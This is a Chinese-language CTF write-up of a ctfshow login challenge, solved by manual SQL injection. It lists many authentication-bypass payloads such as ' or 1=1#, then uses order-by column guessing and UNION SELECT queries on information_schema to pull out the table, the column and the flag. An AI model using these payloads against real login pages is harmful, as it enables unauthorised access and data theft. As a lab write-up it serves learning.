自己手工注入的知識比較薄弱,這里就記錄一下注入過程
題目:
1.登陸頁面,使用sql萬能密碼可以登陸賬號,但是flag不會自己跳出來,出題人是想讓我們手工注入
常用萬能密碼:
'or'='or' admin admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888 "or "a"="a admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a or 4=4-- c a'or' 4=4--
"or 4=4-- 'or'a'='a "or"="a'='a 'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00 "or 4=4%00 'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密碼隨便 'or'='or'
'or 4=4/*
something ' OR '1'='1
1'or'1'='1 admin' OR 4=4/*
1'or'1'='1
例子:
select name,pass from Admin where name='admin' and pass='123456'
使用' or 1=1#之后:
select name,pass from Admin where name='' or 1=1 #' and pass='123456'
這里的name單引號被閉合了,后面的or 1=1使得返回結果永遠為真,而#號會將多余的東西注釋掉,--+號也是同樣的用法
2.猜字段,常用order by或者使用length(' or 1=1 length(database())=1#)
從1開始猜,如果所猜字段小於題目字段,返回正常;否則返回失敗
猜到4的時候不再返回“歡迎你,ctfshow”,說明題目的字段是3
3.聯合查詢,查詢表名
這里用不用limit都無所謂,順便提一下:
select * from table limit 2,1;
//跳過2條取出1條數據,limit后面是從第2條開始讀,讀取1條信息,即讀取第3條數據
1 ' or 1=1 union select 1,table_name,3 from information_schema.tables#
查詢到的所有表名:
注意到最后有一個叫做flag的表名,flag就在里面
4.聯合查詢,查詢列名
' or 1=1 union select 1,column_name,3 from information_schema.columns where table_name='flag'#
結果:
表flag里面只有一個列,名字也叫flag
5.直接獲取flag
' or 1=1 union select 1,flag,3 from flag#
flag到手了
附(其他師傅的解題方法):個人覺得不用那么復雜
參考資料: